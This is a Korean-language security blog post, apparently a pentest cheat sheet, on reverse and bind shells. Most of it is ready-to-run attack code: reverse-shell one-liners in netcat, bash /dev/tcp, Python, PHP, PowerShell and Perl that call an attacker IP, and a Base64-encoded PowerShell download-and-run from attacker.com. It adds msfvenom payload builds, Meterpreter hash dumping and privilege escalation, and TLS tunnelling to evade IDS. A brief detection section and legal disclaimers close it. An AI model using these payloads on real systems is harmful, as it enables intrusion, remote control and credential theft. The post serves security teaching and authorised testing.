/보안 기법/Reverse Shell & Bind Shell: 원격 접속 기법 정리
침투 기법2024-12-15

Reverse Shell & Bind Shell: 원격 접속 기법 정리

침투 테스트에서 필수적인 Reverse Shell과 Bind Shell의 차이와 다양한 언어별 구현 방법. 방화벽 우회 전략과 쉘 업그레이드 기법까지 정리.

#Reverse Shell#Bind Shell#Netcat#Payload#Post-exploitation

기본 원리: TCP 연결과 파일 디스크립터

TCP 연결의 방향

모든 네트워크 통신은 소켓(Socket) = IP + 포트 조합으로 이루어진다. TCP 연결에는 서버(리스닝) 쪽과 클라이언트(연결 시도) 쪽이 있다.

일반 SSH 접속:
  공격자(클라이언트) ─────connect()────→ 피해자:22(서버)
  방화벽: 외부에서 피해자 22번 포트 접근 → 보통 차단됨

Bind Shell:
  공격자(클라이언트) ─────connect()────→ 피해자:4444(서버)
  방화벽: 외부에서 피해자 4444번 포트 접근 → 차단됨

Reverse Shell (해결책):
  공격자:4444(서버) ←────connect()───── 피해자(클라이언트)
  방화벽: 피해자가 외부로 연결 시도 → 대부분 허용됨 ✓

대부분의 방화벽은 인바운드(외부 → 내부)는 차단하지만, 아웃바운드(내부 → 외부)는 허용한다. Reverse Shell은 피해자가 공격자에게 연결하므로 방화벽을 우회할 수 있다.

파일 디스크립터와 I/O 리다이렉션

리눅스에서 모든 것은 파일이다. 프로세스는 파일 디스크립터(FD) 번호로 입출력을 관리한다:

FD 0: stdin  (표준 입력) ← 키보드
FD 1: stdout (표준 출력) → 터미널
FD 2: stderr (표준 오류) → 터미널

소켓도 파일 디스크립터를 할당받는다: FD 3, 4, 5, ...

리버스 쉘의 핵심은 쉘의 stdin/stdout/stderr를 네트워크 소켓으로 교체하는 것이다:

# Python 리버스 쉘의 원리
import socket, os, subprocess

s = socket.socket()
s.connect(("192.168.1.10", 4444))  # 공격자에게 연결

# 소켓의 FD를 쉘의 stdin/stdout/stderr로 교체
os.dup2(s.fileno(), 0)   # 소켓 FD → stdin (공격자 입력이 쉘의 입력이 됨)
os.dup2(s.fileno(), 1)   # 소켓 FD → stdout (쉘 출력이 공격자에게 전송됨)
os.dup2(s.fileno(), 2)   # 소켓 FD → stderr (에러도 공격자에게 전송됨)

subprocess.call(["/bin/sh", "-i"])
# 이제 /bin/sh의 모든 I/O가 네트워크를 통해 이루어짐

1. Netcat (nc)

netcat은 TCP/UDP 연결을 만드는 도구다. "스위스 아미 나이프"라 불릴 만큼 다용도로 사용된다.

# 공격자: 수신 대기 (리스너)
nc -nlvp 4444
#  -n: DNS 조회 없이 숫자 IP만 사용
#  -l: 리스닝 모드 (서버 역할)
#  -v: 자세한 출력 (verbose)
#  -p 4444: 포트 4444에서 대기

# 피해자 (Linux, -e 옵션 지원 버전):
nc -e /bin/bash 192.168.1.10 4444
# 연결 후 /bin/bash를 실행해서 I/O를 소켓에 연결

# -e 옵션 없는 nc (OpenBSD nc, Ubuntu 기본):
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.10 4444 > /tmp/f
# mkfifo: named pipe(FIFO) 생성
# cat /tmp/f: 파이프에서 읽어서 sh에 입력
# sh의 출력을 nc로 전송, nc의 수신을 파이프에 기록
# → 양방향 통신 루프 구성

2. 언어별 원라이너

Bash

# /dev/tcp 의사 파일 활용 (bash 내장)
# bash는 /dev/tcp/host/port로 소켓 생성 가능
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
#  -i: 인터랙티브 쉘
#  >& : stdout + stderr를 소켓으로 리다이렉트
#  0>&1: stdin을 stdout(소켓)으로 리다이렉트

Python

# 원라이너
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("192.168.1.10",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

# 분해해서 이해하기
python3 -c '
import socket, os, pty

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.10", 4444))

# 소켓 FD를 stdin/stdout/stderr로 교체
for fd in (0, 1, 2):
    os.dup2(s.fileno(), fd)

# PTY 할당 (더 완전한 터미널 환경 제공)
pty.spawn("/bin/bash")
'

PHP (웹쉘 환경)

<?php
// 웹쉘에 삽입하거나 RCE 취약점 활용
$sock = fsockopen("192.168.1.10", 4444);
$proc = proc_open("/bin/sh -i", [
    0 => $sock,  // stdin = 소켓
    1 => $sock,  // stdout = 소켓
    2 => $sock   // stderr = 소켓
], $pipes);
proc_close($proc);

// 원라이너
// php -r '$s=fsockopen("192.168.1.10",4444);$p=proc_open("/bin/sh",[0=>$s,1=>$s,2=>$s],$pi);'
?>

PowerShell (Windows)

# Windows 환경에서의 리버스 쉘
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.10", 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | %{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    # 수신한 명령 실행
    $data = (New-Object System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (Invoke-Expression $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
$client.Close()

# Base64 인코딩 후 실행 (탐지 우회)
$code = 'IEX(New-Object Net.WebClient).DownloadString("http://attacker.com/shell.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($code)
$encoded = [Convert]::ToBase64String($bytes)
powershell -enc $encoded

Perl

perl -e 'use Socket;
$i="192.168.1.10"; $p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
connect(S,sockaddr_in($p,inet_aton($i)));
open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/sh -i");'

3. 쉘 업그레이드 (Fully Interactive TTY)

기본 nc 리버스 쉘은 dumb shell로 제한적이다:

  • Ctrl+C를 누르면 세션이 종료됨
  • 탭 자동완성 없음
  • vim, ssh, su 같은 대화형 프로그램 실행 불가
  • 화살표 키가 동작하지 않음

Python PTY 업그레이드 (가장 보편적)

# ─── 피해자 쪽에서 ───
python3 -c 'import pty; pty.spawn("/bin/bash")'
# PTY(가상 터미널) 할당 → Ctrl+C가 세션 종료 대신 프로세스 종료로 동작

# ─── 공격자 쪽에서 ───
Ctrl+Z             # 현재 nc를 백그라운드로 보냄

stty raw -echo     # 로컬 터미널을 raw 모드로 전환 (키 입력을 바로 전송)
fg                 # nc를 다시 포그라운드로 가져옴

# ─── 피해자 쪽에서 ───
export TERM=xterm-256color
stty rows 50 columns 200    # 터미널 크기 동기화

# 이제 vim, top, htop 등 대화형 프로그램 사용 가능

socat으로 완전한 TTY

# 공격자: socat 리스너
socat file:`tty`,raw,echo=0 tcp-listen:4444

# 피해자: socat 리버스 쉘 (socat이 설치되어 있어야 함)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.10:4444

4. Metasploit Meterpreter

Meterpreter는 단순 쉘을 넘어 고급 기능을 제공하는 포스트 익스플로잇 에이전트다:

  • 파일 업로드/다운로드
  • 스크린샷, 웹캠 캡처
  • 키로거
  • 피벗팅 (내부망 이동)
  • 메모리에서만 실행 (파일 없음 → 탐지 어려움)
# 페이로드 생성 (msfvenom)
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
    LHOST=192.168.1.10 LPORT=4444 \
    -f elf -o payload.elf

# Windows EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.1.10 LPORT=4444 \
    -f exe -o payload.exe

# PHP 웹쉘 (업로드 취약점 활용)
msfvenom -p php/meterpreter_reverse_tcp \
    LHOST=192.168.1.10 LPORT=4444 \
    -f raw -o shell.php

# 핸들러 설정
msfconsole -q
msf6 > use exploit/multi/handler
msf6 > set payload linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.10
msf6 > set LPORT 4444
msf6 > run

# Meterpreter 세션 획득 후 주요 명령어
meterpreter > sysinfo        # 시스템 정보
meterpreter > getuid         # 현재 사용자
meterpreter > getsystem      # 권한 상승 시도
meterpreter > hashdump       # 비밀번호 해시 덤프
meterpreter > upload /path   # 파일 업로드
meterpreter > download /etc/passwd  # 파일 다운로드
meterpreter > shell          # 일반 쉘로 전환
meterpreter > background     # 세션 백그라운드

5. 암호화 채널 (방화벽/IDS 우회)

평문 리버스 쉘은 IDS/IPS에서 탐지될 수 있다. SSL/TLS로 암호화하면 트래픽이 HTTPS처럼 보인다.

# 방법 1: socat SSL (양쪽에 socat 필요)
# 공격자: 인증서 생성
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem -subj "/CN=attacker"

# 공격자: SSL 리스너
socat OPENSSL-LISTEN:443,cert=cert.pem,key=key.pem,verify=0 FILE:`tty`,raw,echo=0

# 피해자: SSL 연결
socat OPENSSL:192.168.1.10:443,verify=0 EXEC:/bin/bash,pty,stderr,setsid

# 방법 2: 443 포트 사용 (HTTPS 포트, 아웃바운드 대부분 허용)
nc -nlvp 443        # 공격자
bash -i >& /dev/tcp/192.168.1.10/443 0>&1  # 피해자

# 방법 3: 80/443/53 포트 사용
# 대부분의 방화벽이 HTTP(80), HTTPS(443), DNS(53) 아웃바운드를 허용

6. 탐지 및 대응

방어 측에서 리버스 쉘을 탐지하는 방법:

# 의심스러운 아웃바운드 연결 모니터링
netstat -antp | grep ESTABLISHED  # 현재 연결
ss -antp                          # 더 현대적

# 비정상적인 프로세스 확인
ps aux | grep -E "nc|bash|sh|python" | grep -v grep

# 네트워크 연결 추적
lsof -i -P | grep ESTABLISHED    # 열린 포트와 프로세스 매핑

# Snort/Suricata 시그니처 예시
alert tcp any any -> $EXTERNAL_NET any (
    msg:"Reverse Shell Attempt";
    content:"/bin/sh"; nocase;
    sid:1000001;
)

참고 도구 및 자원

도구 설명
revshells.com 원라이너 자동 생성기, IP/포트 입력하면 모든 언어 버전 출력
PayloadsAllTheThings GitHub 페이로드 모음 (가장 포괄적)
pwncat-cs 자동 TTY 업그레이드, 파일 전송, 모듈 시스템 지원
Metasploit Framework 통합 익스플로잇 프레임워크
netcat.sourceforge.net 공식 nc 문서

⚠️ 모든 기법은 서면으로 명시된 권한 범위 내의 침투 테스트 환경에서만 사용해야 한다. 무단 사용은 컴퓨터통신망 침해 범죄에 해당한다.

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.